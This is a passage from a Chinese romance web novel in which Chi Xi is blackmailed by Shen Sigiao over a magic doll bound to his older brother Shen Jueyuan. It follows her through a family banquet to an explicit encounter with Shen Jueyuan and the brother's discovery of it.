“你到底要和我说什么。”池溪不知道沈司桥到底要和自己说什么,终于忍无可忍地甩开了他的手。 沈司桥见她难得硬气一回,嘴角露出玩味的笑来:“池溪,我真是低看你了,还以为你是个胆小鬼,想不到胃口这么大。” 她隐约察觉到一些不对劲的苗头来:“什...什么?” 沈司桥继续和她卖着关子:“上次去你房间,打火机落在你那里了。我昨天想去找你拿,但你房间没人,我就自己翻了翻。” 听到这句话池溪就明白发生了什么。 “你乱翻我的房间?” 沈司桥耸肩:“只要我哥不和我争,这里的一切都是我的。包括你住的那个房间。我翻我自己的东西有什么问题吗?” 池溪觉得和这位二世祖讲道理是完全没用的,他有一套自己的逻辑。 现在的问题是...先弄清楚那个娃娃是不是被他拿走的。 她抿了抿唇,尽可能地让自己看上去没有那么心虚:“你...是不是拿走了什么东西?” 沈司桥没有承认也没有否认,他只是带着笑反问她:“池溪,我没想到你和你那个凤凰男亲爹一样,胃口这么大。不过很显然,你的胆子比他的更大。你知道你盯上的猎物是谁吗?” 他的这句话已经算是变相的承认了,娃娃就是他拿走的。 - 池溪和沈司桥最近的关系很不对劲。 就连家里的佣人都发现了端倪,其他人不可能发现不了。 晚饭时,沈司桥一直拿着手机,嘴角带着一抹玩世不恭的笑。 他放下手机的同一时间,池溪的手机会立刻有消息进来。 每一次她都会皱着眉拿出手机进行回复。 沈决远眼神了然地分别看了眼坐在他对面的二人。 ——待会去k11给我买杯咖啡。 ——可以叫外卖。 ——我从来不点外卖。 ——那叫司机买。 池溪这条消息刚发过去,手机立马收到一张图片。 是那个和沈决远绑定在一起的共感娃娃。 看着娃娃近乎一比一复刻的那张脸..... ——加糖加奶吗? 沈司桥没有立刻回复她,他心情愉悦地收起手机,起身离开:“我吃饱了,你们慢慢吃。” 然后在离开时,装作不经意地踢了踢池溪的椅子,示意她出来。 池溪抿了抿唇,默默放下吃了一半的三明治,然后笑着对餐桌上其他几位说:“我想起来还有点工作没有处理完,我先走了,你们慢慢吃。” 沈决远放下刀叉,拿起手边的咖啡杯喝了一口。 眼眸则漫不经心地抬起,目送他们前后脚离开。 难得的休息日,池溪全都用来给沈司桥跑腿了。 “那个娃娃你什么时候还给我?” 他吊儿郎当的窝坐在沙发上玩ps5:“你还没告诉我,为什么要订做一个和我哥一模一样的娃娃。” 池溪被他问的心虚:“因为...因为我....” 见她吞吞吐吐说不出来,沈司桥把游戏机一扔:“你喜欢我哥?” 虽然她绑定娃娃的初衷不是这个,但沈司桥说的似乎也没有错。 池溪一时找不到辩解的理由。沈司桥见她这样,冷笑道:“你觉得我哥会看上你?你知道他的追求者都是什么样的人吗。连你那几个身份高贵的妹妹都得在后面排队。” 他故意将‘身份高贵的妹妹们’这几个字的语气加重。 池溪知道他是什么意思。 她连周家的大门都进不去,更不用提和同父异母的妹妹们相提并论。她们从小在锦绣富贵的高门世家长大。可就算是她们,也没有资格出现在沈决远的身边。 更何况是她呢。 池溪当然知道这些,她从一开始就没有奢望过和沈决远发生点什么。 她对他始终有种天然的畏惧,这种畏惧持续到了现在。 这也是为什么她这么害怕事情暴露的原因,虽然事情总有暴露的一天,但她希望是自己主动坦白。 “我没有喜欢他,我只是觉得他的脸...比较适合当模板。”她硬着头皮解释。 沈司桥笑了:“你觉得我是傻子吗?” “....”我觉得你是傻屌。 总之,沈司桥一直以这件事来威胁她帮自己跑腿。 好在也不是什么过分的事情。 就是有点不分场合。 - 不过最近也不全是不好的事情。 也有好一点的事情发生。 ——池溪觉得她和沈决远之间的关系,似乎也在潜移默化间发生了一些微妙的变化。 至少他对自己的态度稍微有些改变。 以前他在家中看到她,大部分时间都是直接视而不见。 偶尔会保持礼貌地回应她的问好,但态度也是冷淡疏离的。 今天却主动将她叫去自己的书房,替他整理那些文件。 池溪一直觉得他的书房有一种让人上瘾的香味,和他本人一样。 像某种诱惑力极强的椿药。她将这一切归咎于他身上强烈的男性荷尔蒙。 “按照类型区分开就行。”听到推门声,男人头也没抬,视线仍旧放在电脑屏幕上。 他手边是一杯已经冷掉的咖啡。 池溪点了点头:“好。” 眼神却忍不住往他身上看。他在家穿的没有那么正式,随性的白衬衫和威尔士格纹的西装马甲。没有系领带,衬衫领口只用了银黑色的领带夹固定。 独属于他的超强掌控力并没有将这份松弛传递给池溪。她还是很局促,担心做错什么惹得沈决远生气。 即使知道情绪稳定的他不可能会生气。 他顶多只是会让她离开。 然后不会再给她第二次机会。 池溪想,沈决远就是这样一个人,绅士,但是绝情。对方一旦犯错,在他这里会直接判下死刑。 所以她很认真。 以至于没有注意到男人偶尔望向她的目光。 她今天穿了一件灰色高领毛衣和浅色长裤,头发则是随意地挽了几下,然后用鲨鱼夹固定在脑后。蓬松柔软的发质和她的长相很类似。 她给人的感觉很像刚出锅的舒芙蕾,柔软好入口。 她很认真,眼睛也是,有碎发从耳边垂下来,她也只是随意地别到耳后。 沈决远喝了口已经凉掉的咖啡,西裤下的长腿交叠,从容不迫地看着她。 “那个...”池溪碰到不懂的地方,只能稍显局促地起身过去,“这个架构图,我不是很懂。” 沈决远放下交叠的长腿,接过她递来的文件:“这是经过简化处理的,不用管。” 离他这么近,池溪的心跳不受控地加速。 只要低下头就可以看见将衬衫撑满的肌肉轮廓。 她又想到那天在电车上的那个吻了,还有他最后在她耳边说的那句想干她。 ....池溪觉得自己不应该这样想,因为这又不是沈决远真实的想法,他或许只是因为被那个娃娃控制了思想才会这样。 她知道自己不是他的理想型。虽然他的相亲似乎没有一个圆满的结局。听说他在用餐结束后,很绅士地送对方回了家,然后又绅士地拒绝了对方的下一次邀约。 显而易见,他不打算和对方有进一步接触。 那个女生池溪见过一次,主修金融与艺术双学位,父亲是商界巨擘,沈伯父见到都要礼让三分,母亲更是优秀的山水画大师。 这么优秀的人沈决远都拒绝了,更何况是她呢。 想到这里,池溪又开始唾弃自己的阴暗。 她不应该用这种方式‘强迫’他的。 “昨天为什么要撒谎。”然而男人的淡声发问让她从那种失落的情绪中迅速走出来。 “什...什么?”她心虚到说话都开始结巴。 “你说你失眠是因为太吵。这两天地质排查,根本没有工人施工。” 他的语气很平淡,说出来的话却异常强硬。 根本不给池溪继续撒谎找借口的机会。这也是池溪觉得他可怕的地方之一。 他太聪明了,也太敏锐。 一旦让他发现那个娃娃,他肯定会立刻将自己这些天的异常串连起来,从而得到真相。 而不是像沈司桥那个蠢货,到现在都认为她是因为暗恋他哥所以订做了一个和他哥长着同一张脸的娃娃。 “我...我是撒谎了,但我...”她的手不安地捏着衣摆,“我确实失眠了。” “为什么?” 他没有问她为什么要撒谎,而是问她为什么,为什么会失眠。 池溪不敢告诉他原因,只能沮丧地低下头:“我也不知道。” 然后就是一段时间的沉默。 沈决远开口打破了这份沉默:“你现在的住所的确有些偏僻,我会让人替你重新安排。这两天你将你的东西整理一下。” 池溪眨了眨眼,所以他这是在关心她吗? “喔,好..好的,谢谢您。” “不用。”男人轻描淡写地回绝。 正当池溪想要继续说些什么的时候,放在一旁的手机不合时宜地响了。 两道视线在同一时间看向手机屏幕。 上方的‘沈司桥’三个字尤为显眼。 池溪急忙将手机拿走,悄悄去角落按下接通。 对方不知道说了些什么,她匆匆挂了电话,然后折身和沈决远道歉。 “那个..沈董,我现在有些急事需要处理,剩下的文件我晚点回来整理,我...我就先走了。”她拿着手机脚步急促地走出书房。 沈决远看了一眼她遗落在沙发上的外套。 什么事情,急到连外套都忘了拿。 其实也不是什么很急的事情,就是被沈司桥使唤着去当跑腿,给他买宵夜。 这样的事情最近常有发生。池溪都快习惯了。 反正她待在家里的时间很短,去公司就看不到这张讨人厌的脸了。 她每次都这样安慰自己。 然而很快,她连这个安慰自己的理由都没了。 公司今天有了个大新闻,之前的小沈总如今亲自下基层,去了隔壁宣传部当实习生。 “哪个小沈总,我怎么没见过。他和沈董是什么关系?” “你入职的时候小沈总已经自请离职了,听说他是沈董的弟弟。” “哇,既然是沈董的弟弟,那长得肯定也很帅吧。” “非常非常帅,但和沈董相比还是差了一点。不过和混血比外形本来就不公平。” 部门里的讨论持续了很久。 “那位小沈总好像不在办公室,本来想着偷偷一顿尊容,结果没看到人。” “说起来池溪你....池溪呢?” “不知道,刚刚还在这儿的。” 于此同时的公司露台,被大片绿植挡住的地方,池溪正被迫按照沈司桥的要求来这里见他。 如果可以的话,她真的很想直接跪在地上给他磕头,求他把娃娃还给自己。 但她心里清楚,沈司桥这个贱人一直以折磨别人取乐,如果她真的这么做了,反而正中他的下怀。 “你到底要做什么?” 沈司桥难得穿一回正装,也算是人模狗样,他伸手扯了扯领带,懒洋洋地坐在长椅上:“这次来公司我爸不许我带助理,不过你应该很擅长做这种事。” “.....”池溪在心里把他骂了一万遍,“可是我自己也有工作,我还要....” 沈司桥根本懒得听她把话说完,起身离开。 经过她时伸手拍了拍她的肩,“你也不想被我哥发现吧,准大嫂。” 他话里嘲弄的笑一整天都回荡在池溪的脑子里。那句‘准大嫂’的称呼也完全是在讽刺她。 讽刺她和她爸爸一样。 今天的会议是在沈决远的办公室内完成的。 半个小时就定下了下个项目的基本方向,周二的招标会他让其他人去,他需要抽空回一趟北欧。 他母亲的肺病加重了,私人医生说也许就是这一个月的事情。他抽空探望她的同时还得着手准备葬礼的事宜。 办公室内的人离开后,他独自走到窗边,慢条斯理地点燃一支雪茄。 这个角度虽然没办法看到整个北城最美的景色,但可以俯瞰整个北城。 一切事物在他眼底都变得无比渺小,像随时可以踩死的蚂蚁。 雪茄在他指间缓慢燃烧着,男人的视线停留在某处,很久没有挪开。 那里是位于底层的一个空中花园,此时一男一女正在那里拉扯交谈。 女人回过头来,他看清了她的脸。 是几天前在电车上和他吻到难舍难分的那个人。 至于那个男人,则是他那个不成器的弟弟。 冰冷镜片下的那双眼眸深邃。他气定神闲地继续抽着雪茄。 14. [1.20更新] 第十四章 经过无数次修改的策划案再度送到了董事长的办公桌。沈决远看着那张陌生的面孔,翻开策划案时,状似无意地问了一句:“我记得这个策划案是其他人在跟。” 没有人能够做到在面对沈决远的时候还可以保持从容冷静的。 他身上那种不怒自威的压迫感总是无形之中让人畏手畏脚。对方低下头,紧张到呼吸都停止了:“池溪她有点事,所以就拜托我....” 那个人在心里暗自咬牙,早知道沈董这么可怕,他就不同意了。 还以为终于可以一睹沈董尊容,所以他在池溪求助的时候抢先答应了。 看来前任部长所言非虚,董事长的确是一个可怕的男人。 嗯...长得很帅的可怕男人。 “嗯。”粗略地翻了翻,男人将那份策划案重新放回去。 这已经是很明显的逐客令了,对方如临大赦,离开了董事办。 此时的池溪正心不在焉地敲着键盘,对方回到部门之后就开始吐苦水,说以后再有类似的差事不要来找他。 池溪听到这句话就露出哀求的深色,对着他不断双手合十祷告:“救人一命胜造七级浮屠,你这个月的咖啡我包了。” 听到前面那句话还无动于衷的男人,在听到后半句时有片刻动摇:“楼下那家x也包?” 那是一家贵得吓人的高档咖啡店,一杯咖啡能卖到六十八。 池溪一咬牙,点头同意了。 没办法,谁让现在的她没有胆量去面对沈决远。 沈司桥就是一个不定时炸弹,谁知道他什么时候会引爆。 可能上一秒答应替她保守秘密,下一秒就去他哥跟前交代完一切。 所以池溪害怕的不是沈司桥,而是沈决远。 如果他得知了真相... 池溪只是在脑海里设想了一下可能会产生的后果,就已经吓到脸色发白。虽然后面那几次完全不在她的可控范围,她想阻止都不行。 但这样的解释在任何人看来都是狡辩。 沈决远更加不可能会相信。 虽然没有见过他动怒的样子,但...但肯定很可怕。 像他那样强大到可以轻松掌控一切的男人,如果被他发现某件事不仅不在他的掌控范围里,甚至于,他反而是被操控的那一方。 他绝对不会忍受。 池溪叹了口气,痛苦地抱着头趴在办公桌上。 为什么偏偏是被沈司桥那个贱人发现了。 俗话说的好,好事不成双,坏事连连起。 爸爸的岳父七十寿诞,北城的上流名门都收到了邀请函,也包括与周家有密切生意往来的沈家。 当然,池溪作为‘孙女’,肯定也要一同前往。 她如今对外的身份就是周家的大孙女。没办法,谁让爸爸的对手在这种时候爆出了她的存在。 为了抹平这个‘负面舆论’,不影响到他的竞选,只能对外宣称她是在外地长大的大女儿。因为和奶奶姓,所以姓池。 否则池溪也不需要借住在沈家了,她完全有能力自己在外租房子。 池溪很早就被叫醒了,伯母让人给她做了一遍全身养护,她光着身体躺在spa床上,身体和头发都涂满了昂贵的护理霜。 郑伯母温和地告诉她:“你虽然年轻,但平时的养护还是不能少。女孩子要舍得对自己花钱。” 池溪有些不自在,虽然她是趴在spa床上,隐私部位没有露出来,可是让她裸着后背给其他人看,即使对方是一位年长的女性。 但她多多少少还是有些难为情。 察觉到她的不自在,郑伯母体贴地站起身:“我去外面等你,待会我让米歇尔进来给你量下尺寸,方便修改礼裙的尺码。” 她离开时,视线优先到池溪后背的吻痕,错综凌乱,从腰窝延申至臀巾遮住的部位。 甚至在微微露出的臀线部位,是颜色更深的吻痕。 对于生过孩子的女人来说,她再清楚不过这些部位的吻痕代表着什么。 郑伯母的眼神发生了一种微妙的变化。在池溪住进这个家里之前,她的底细就被查了个干净。社交圈并不复杂,在北城也没什么朋友,除了偶尔打打游戏之外,私生活除了上班就是在房间休息。 那她身上这些暧昧的痕迹.... 郑伯母想起最近池溪和司桥似乎走得很近。 - 池溪当然不知道身上的痕迹能够留这么久。沈决远每次都很用力,无论是亲吻还是别的。 他更倾向于rough sex。有时候她因为受不了挣扎的狠了,他密集的巴掌也会不留情面的落下。 扇在她身体脂肪最丰富的地方。 不疼,但能将她刺激到颤栗,然后失去反抗的能力。 寿诞是晚上开始,池溪穿着那条按照她的尺寸量身修改过的晚礼服出现在宴会厅。 虽然她是顶着周家长孙女的身份出席,但那些清楚她真实身份的名流贵族们,对于她的存在视若无睹,他们忙着奉承讨好地位更高的人。 而沈司桥就是他们忙着讨好的人。 他一副标准二世祖的嘴脸,整个人游刃有余的面对那些人的调侃,还不忘越过人群冲池溪抛个媚眼。 像是在告诉她,乖乖站在那里等着,他待会还有用得着她的地方。 池溪对他的忍耐已经到了临界点,她甚至开始思考干脆主动和沈决远交待这一切。 她宁愿承受沈决远的怒火也不想再听沈司桥的话了。 这个贱男人。 贱男人贱男人贱男人,她总有一天会报复回来。 再窝囊的女人被惹急了也会还手的。 她那几个弟弟妹妹们早就游刃有余地端着酒杯与同龄人推杯换盏。而池溪这个身份尴尬的存在,只能老实地站在父亲身边,充当击毁谣言的证据。 像是在以此昭告全天下,她不仅是周家人,并且还是周老先生的亲孙女。 池溪只觉得尴尬,她知道爸爸的妻子讨厌她。但好在对方并没有对她恶言相向,顶多只是刻意的忽略她。 或许是察觉到自己的妻子已经开始因为池溪的存在而感到不悦了,池有望只能找借口把池溪赶走:“小溪啊,你去招待一下你沈伯伯和沈伯母。” 池溪松了口气,终于可以走了。 但她没想到,刚离开狼窝,又来到虎穴。 她刚过去就被沈司桥叫住:“挺着个脖子在找什么。找我哥?” 池溪装作听不懂他在说什么:“我在找沈伯伯。” 沈司桥嘲弄的笑了:“那你的希望恐怕要落空了,我爸不在这里,我哥也没有和他一起。” “....”池溪觉得他是故意的,故意反复提起沈决远,就是为了人让她不断想起那个娃娃。 她压低了声音,不耐烦地说:“你答应过我只要我听你的你就会把它还给我。” “急什么,我又没说不还。”沈司桥两手一摊,看她的眼神多了些无法说清的情绪,“怎么,一个破娃娃也这么宝贝?” 不是宝贝不宝贝的事情,她一方面是害怕被沈决远发现。另一方面不清楚那个娃娃是只在她手里有用,还是在其他人手里都有用。 万一沈司远这个阴晴不定的主哪天心情不好把娃娃肢解了那.... 太血腥了,池溪使劲甩了甩脑袋,想要把这个画面甩出去。 沈司桥伸手按住她的脑袋:“摇头是什么意思。” 池溪是这个时候看到沈决远的。她刚要甩开沈司桥的手,四周传来一阵克制过的议论。 能在这种场合引发如此激烈讨论度,池溪只在一个人身上见过。 果不其然,当她将眼神看过去的时候,看见了出现在宴会厅的沈决远。而对方的眼神也精准的捕捉到了她。 沈决远的出场轻易地将全场焦点拉了过去,很显然,他才是今天的宴会主题。无论出现在哪里都是焦点的男人,对身份尴尬的池溪来说,是她只能隔着人群远远看上一眼的程度。 看得出来,他对待长辈通常会给予该有的重视和礼仪。 从他今天的穿着就可以看出来。 全黑系的西装三件套,领带则选用了中国长辈最喜欢的象征喜庆的红色。以及同色系的暗红宝石修扣。典雅气质中带着绅士的谦和与稳重。 从他出场的那一刻,宴会厅内的气氛就开始暗自发生着改变。 池溪清楚,所有人都在等着和他搭话的机会。与其说是寿诞,倒不如说成人际关系维护和建立的名利场。 她时常感叹造物主的不公平。 否则为什么会让他一个人拥有所有顶级的优势。 但也归结于他的自律。毕竟他的身高还可以说是基因优势,但结实的肌肉是靠他后天自律锻炼出来的。 此时那双无边框眼镜稍作遮挡,眼底的冷淡不至于完全地流露出来。 池溪的指尖动了动,她能够感受到,至少有一瞬间,沈决远的视线是看向他们这边的。 半个小时后,池溪在喝了点红酒给自己助威后,还是鼓起勇气推开了休息室的门。 宴会中途,她根本没办法靠近沈决远。他的身边永远都簇拥着许许多多的人。 而他也游刃有余地应付起那些奉承与讨好。 气场优雅而不失锐利。 “那个...抱歉。”当然,池溪也并非完全没有和他有交集。 她‘不小心’将手里的红酒打翻在他身上。男人并没有说什么,只是垂眸,眼神了然地看着她。 “没事。” 而他此时来到休息室也是为了更换一件干净的衣服。 男人刚好在里面换衣服,池溪猝不及防地推门进来,该看的不该看的她都看到了。 此时她心虚地停在原地,一个歉道完,另一个歉立马就跟上了。 “我不知道你刚好在换衣服,我看门没锁我就..我敲过门了。” 男人背对她站着,池溪见他不紧不慢地将身上的衬衫脱了。 这似乎是她第一次亲眼看见他的背肌。以往几次都是用手触摸,肌肉的结实与厚度都是用掌心和手指来感受的。 想不到它们居然...长这样。 锋利紧实的线条,随着他抬手时的动作,沿着脊椎两侧延展开的背阔肌会骤然收紧。 像山峰一样宽阔踏实,带着爆发性的性张力与安全感。 当他慢条斯理地换上衬衫时,眼底的‘景色’也被一并遮蔽。 “有什么事吗?”他不紧不慢地转过身,并没有追究她贸然闯入的过失,而是轻声询问道。 池溪过来是为了和他坦白一切。 与其等到事情发展到无法转圜的地步,还不如老实自首。 说不定可以从轻发落呢。 可她刚要开口,手机又不合时宜地响了。 她看了眼上方的消息提醒,又是那个该死的沈司桥发来的。 她刚要点开信息,回复一句“滚”字 然而在她有所动作之前,手机先一步被抽走。 沈决远拿走手机之后,长按锁屏键关了机。 然后问她:“没有处理好和司桥之间的关系,就来找我?” “呃...我.....”池溪很心虚,这个平淡的质问让她变成了脚踏两只船的女人。 看来沈决远是记得他们之间发生过什么事情的。 这让池溪更加不安。 如果他记得一切,那等到真相大白的那天,他肯定会更加生气,更加愤怒。 她的下场也会更加悲惨。 她咬了咬唇:“我和沈司桥没什么的...只不过他最近拿捏了我的把柄,所以一直在要求我替他做事。” 她一着急就全交代了。 池溪此刻还没有察觉到异常,因为现在的沈决远对待她似乎比平常更加有耐心。 这种异常只在娃娃起作用的时候才会出现。 “是吗。”他重新在沙发前坐下,“你什么把柄被他拿捏了?” 呃... 她不敢说。 关于这点,沈决远倒没有勉强她回答。 他熟练地打好领带,换上西装马甲与外套,又重新成为那个掌控一切的上位者。看她的眼神似乎也带着由上往下的俯视。 “还有其他事情吗?” 他轻声询问。 “没...没了。” 沈决远便没有再理会她,虽然没有直接下逐客令,可他此刻的不予理会就是他最好的态度证明。 他接了一通电话后将电脑打开,或许是临时有工作需要处理。 池溪没有离开,她觉得现在离开的话,就错过了最佳的自首时机。 她无法想象沈决远这样的人报复一个人会选择怎样的方式。 身败名裂?她没有这种东西。 破产?她哪来的产。 那就只有一样东西了。 池溪瞬间睁大了眼睛,双手捂住自己的脖子。 不要啊,她的梦想是长命百岁,人类的极限是活多久她就要活多久。 沈决远看着远在海外的下属通过邮件发送给他的结构图,他刚看出一个问题,身旁的温度让他不得不将视线移开。 在酒精的作用下,池溪苦着一张脸坐到了他身旁:“那个...我今天找您的确有事情要说。” 他松开了握着鼠标的手,等待她开口。 池溪深呼一口气:“我...我是来自首的。” 他略微挑眉:“自首?” “嗯.....我......”那番话在嘴里滚了一圈,临门一脚时还是窝囊地改了口,“我和沈司桥真的没什么。” .....池溪觉得自己完蛋了,她为什么要突然改口,现在把一切说开了不就万事大吉了吗。 “你是想告诉我,你不喜欢他?”她等来的不是沈决远的质疑,而是他温和的反问。 “我....”池溪的犹豫不是在犹豫她喜不喜欢沈司桥,而是在犹豫要不要直接开口坦白一切。 酒精的确是个神奇的东西,能让胆大者怯懦,同时也能让怯懦者大胆。 池溪不解地歪了歪头,脑子是怎么想的,嘴巴就怎么说出来了:“所以,你在吃醋吗,吃我和沈司桥的醋?” 沈决远的手边放着一杯加了冰的威士忌,他的手指似有若无地沿着那只锤纹磨砂的玻璃杯杯口轻轻打着圈:“吃醋的前提,是建立在亲密情感联结的关系下,我们什么关系也没有,不是吗?” “好吧....”池溪为自己的自作多情感到尴尬,她微醺地点了点头。“好像是这样....” 沈决远的喉结却因为她的回答滚了滚。 像呼之欲出的心脏,顶着那一层薄白的皮肤,弧度危险而性感。 “是,当然是这样。”他也点头,语气加重地将她的话重复一遍。 那杯加了冰的威士忌被他一口喝光。 嗯... 池溪觉得自己喝过酒的脑子无法和正常人做对比。 否则她为什么会在这种时候,还被美色诱惑,从沈决远的身旁离开,直接坐到他的腿上。 ..... 长达数秒的安静,看来不解的不止是她,还有被坐的那个人。 池溪以为沈决远会不近人情地将她从自己的腿上拉开,然后眼神厌恶地让她滚。 但他只是将身体微微往后仰,靠坐在沙发靠背上,给她留出更大也更宽敞的活动空间。 “我对露出狰狞丑态和别人争抢的事情不感兴趣。”他表明自己的立场,“所以你最好尽早把你的烂桃花处理干净。” 可是这么说起来,他自己也属于烂桃花的一种吧? 池溪在心里默默想道。 不过既然他这么说,就代表愿意再给她一次机会。 她完全忘了自己今天过来的真实目的,根本就不是为了解释她和沈司桥之间的关系。 沈决远的态度也变得更加温和,他主动将手放上她的后背,给予关心:“只穿这么一点,冷不冷?” 今天的室温并不高,中央空调显然没有起到太大作用。 这么大的宴会,居然也能做的如此不周到。 池溪点头,还配合地抖了一下:“冷。” 沈决远将自己刚穿上的外套脱下来,搭在她的肩上:“那就在里面多坐一会儿,晚点舞会开始了再出去。” 他的外套带着独属于他的体温。 “舞会?”她还处在醉醺醺的状态,“我也要去吗。” “当然。”他体贴地替她将乱掉的卷发重新理顺,池溪感受到男人的手指插入自己的发间,随着他的动作,手指偶尔会不可避免地碰到她的头皮。 她想,他这双手一定很适合用来给人按摩。 只是不经意地触碰都让她产生一种类似电流经过全身的酥麻感。 “你如果不去参加,那些人怎么会知道你的身份。你想一直以这种状态生活吗?” 池溪停顿片刻:“可我.....” 知道她在担心什么,男人打断她的话:“是他们为了达成目的不顾你的意愿强行将你接过来,让你暴露在大众视野承担骂名。你在担心什么呢,应该是他们担心。” 沈决远说这番话时,语气松弛,那种上位者掌控一切的游刃有余在他身上体现的淋漓尽致。如果是以前,池溪会感到害怕。 可是现在,他是在帮她。 当强大的反派是你的对手时,你会明白天塌了是什么感觉。 可当那位强大的反派成为了你队友,你就能体会到什么叫做面对万米高的悬崖也能毫不犹豫往下跳的那种安全感。 她后悔自己不该多喝那杯鸡尾酒,因为现在的沈决远一点也不可怕。 他的语气温和,态度妥帖。稳重地为她考虑好一切。她根本不需要多此一举地喝酒壮胆。 那杯鸡尾酒的后劲让她头重脚轻,意识昏沉,她根本无法将他此刻的异样与别的东西联想到一起。 譬如,那个娃娃。 反而醉醺醺地盯着他的胸口看,好奇地问道:“这里为什么鼓鼓囊囊的,里面装了什么吗?” 她一边说着,一边伸手在衬衫中间轻轻划拉一下。 衬衫因为这股力道被填满,勾勒出更加明显的线条起伏。 像是一道沟渠,两边则像蓄满力量的山岗。 沈决远拨通了内线电话,让人送一碗醒酒汤过来。他没有阻止池溪乱动的手指,而是包容地轻声开口:“好奇的话,就自己打开看看。” 酒壮怂人胆,池溪在他的注视下依次解开了他的西装马甲和衬衫。 他握住她的手,指腹按着她的虎口轻轻摩挲:“看清楚了吗,是什么?” “呃.....”好大。 她脱口而出就是一句以下犯上的话,“是...我的晚餐。” 他低头停在她的颈间,说话时吐出来的热气灼烧了她。以温和的语气,说出极具占有欲的话:“在和我的关系结束之前,我不希望你和其他男人有任何不清不楚的关系,可以做到吗?” “啊?呃....可以。”突如其来的动作让池溪微微愣住。 不合时宜的,池溪想到自己不久前看到的一部tl漫画。 和弟弟更熟悉认识更久的女主,最后因为一些不可控的原因和回国不久的哥哥发生了关系。并且是只有当事人双方才知道的不可见光的关系。 某一天,暗恋女主的弟弟发现了这层不清不楚的关系... 看漫画的时候池溪觉得剧情很爽很刺激,甚至还脑洞大开的想,如果她是女主的话,她会怎么选。 她想,她当然会选择更成熟更有魅力的哥哥。 而不是幼稚到为了引起暗恋对象注意而不断欺负她的弟弟。 耳边那道低沉性感的男声将她的思绪拉回来。 “会解男人的皮带吗?” 她不确定的回答:“应该.....男女都一样吧。” 他温柔的引导:“那替我把皮带解开,然后坐上来。” - 两个小时后,酒醒的池溪扶着发软的腿和酸痛的腰从休息室出去,刚好撞见四处找她的沈司桥。 后者不满地扬眉,舌尖抵了抵腮帮:“我给你发消息你怎么不回,你知道我找了你多久吗?” 他虽然罕见地穿上了西装,但一如既往的随性痞气,外套敞着,领带也不翼而飞,露出里面那件领扣散开的衬衫,脖子上的锁骨链若隐若现。 池溪再次回想起那个漫画的剧情和沈决远反常的温和,心里突然有了一种不好的预感。 她两眼一黑,那个老板将娃娃卖给她的时候也没说威力这么大。 娃娃都不在她这儿了,为什么还能起作用....... 她想要在沈决远出来之前将沈司桥带走,强行中止这段剧情。 可惜已经来不及了。 身后那扇紧闭的房门被打开,男人早就恢复到往日的一丝不苟,全然看不出十分钟之前房间里发生过怎样过激的行为。 唯独那张性感的薄唇和颈侧,激吻过后留下的口红唇印还在。 完了。 这是池溪脑子里浮现出的最后两个字。 15.第十五章 “哥,你怎么会和她.....在一起。”沈司桥天生一张玩世不恭的脸,桃花眼和性感的厚唇似乎都在象征他是一个滥情面相。 此时这张脸却呈现出一种非常丰富的情绪,丰富到可以同时从他的脸上看到不解、无措、震惊..... 很显然,事情的发展完全不在他的预料之中。 即使他总用他哥来调侃池溪,那也是因为他知道,他哥和池溪之间绝对不可能发生什么。 对于他哥来说,与池溪这样的人相提并论就是一种侮辱。 即使池溪动了这个念头,他哥也不可能看上她的。 他相信他哥的眼光,他不会像自己眼光这么差。 沈决远平静地将领带整理好。 之前那条领带用来防止池溪挣扎,将她的腿和床尾绑在了一起,早就湿透了,已经不能再用,被他随手扔进了垃圾桶。 面对沈司桥的质问,他淡声反问:“我为什么不能和她在一起?” 沈司桥过了很久才听见自己的声音,沙哑到他自己都吓了一跳,“你们是.....什么时候在一起的?” 他哥怎么可能和池溪在一起? 池溪是私生女,除了那张脸之外没有任何优点。 他哥从小接受最顶尖的精英教育,他不可能接纳一个私生女成为自己的伴侣。 更不可能爱上一个如此平庸的人。 如果说他看中外在,可他身边比池溪漂亮的女性大有人在。 更何况,她的长相完全不符合一个从小在国外长大,倾向北欧审美的人所欣赏的长相。 沈决远不认为得这是一句需要反复回答的问题。 从司桥的反应来看,他应该已经知道房间内发生了什么。 他不打算掩饰。 沈决远觉得这并非一件坏事。 沈司桥平时与池溪走得未免太近了些,他们的关系似乎比他想象的要复杂。 即使是他不要的衬衫,也只能出现在他的身上。人也一样。 所以,沈决远不希望这两个人继续维持这种复杂的关系。 但他没办法直白的说出来,因为会让他觉得自己像是一条争食的狗。 “今天是长辈的寿诞,注意谈吐。”沈决远厉声提醒他的失态。 沈司桥今天的穿着处处带着轻浮,尤其是敞开的衬衫和西装。这本身就令沈决远感到不满。 沈司桥天不怕地不怕,唯独对他哥心存畏惧。哪怕到了这种时候,他的身体永远比他的思想更加听话。 他完全服从沈决远的‘命令’,将衬衫扣子与西装外套的扣子依此扣好。 沈决远走到池溪面前,淡声关心道:“如果腰实在难受,今天就先回去,我让司机送你。” 沈决远太猛了,和他平时表现的绅士儒雅全然不同。池溪的腰在这种事情上简直就是耗损品。她欲哭无泪。 但眼下,这些东西全都不值一提。 她满脑子都是那部tl漫的剧情,还好没有什么兄弟夹心。 “我没事....”池溪有些局促地回答他。 她没办法不局促,因为她无法做到像沈决远那样气定神闲。 沈司桥和池溪同龄。 所以在沈决远看来,他们都还是充满稚气的孩子。 他无法以平等的态度对待他们。 沈司桥神色复杂,一种无法言喻的情绪逐渐爬上他的眼底,像是蛛网一般,盘旋在他脸上的各个角落。 “她只是一个私生女....”沈司桥的嘴角在抽动,眉头微微皱起,眼底的光芒也四分五裂。仿佛自己的认知和三观被打碎重塑。他完全没想到,他的竞争对手竟然会是他哥哥。 他此刻迫切地希望他哥哥赶紧对池溪心生厌恶。 然而沈决远却打断了他的话。 他的眼中带着居高临下的严厉,“你从小接受的教育就是让你如此大言不惭的点评别人?” 他的语气不重,甚至连音量也不大,但那种绝对掌控的压迫感令沈司桥不敢再开口。 池溪真的希望沈决远能够扇沈司桥一巴掌,如果那个娃娃在她手上的话,她一定会让沈决远这么做的。 不过... 沈决远训诫别人时的压迫感,和在床上时完全不同。 那个时候虽然他的语气和巴掌是硬的,但舌头是软的。 沈司桥离开后,沈决远重新替她检查了一遍身上的穿着,确定一切无误后,他轻拍她的后背,像是在用这种方式给她鼓励,“去你父亲身边吧,腰挺直一些,不要太局促。” “哦....”她点了点头,其实不太想去。 她担心去了之后又会惹得父亲的妻子不高兴。他们有子女,她一个没有血缘的人去了做什么呢? 或许是看穿了她的内心所想,沈决远淡声开口:“正是因为这样你才更应该去。没什么好担心的,我也在。宴会厅一共就这么大,我就算离你再远,最多也才十步的距离。十步,四秒钟我就能走到你的身边。” 从对沈决远‘一见钟情’ 再到与他产生那么多次的亲密接触。 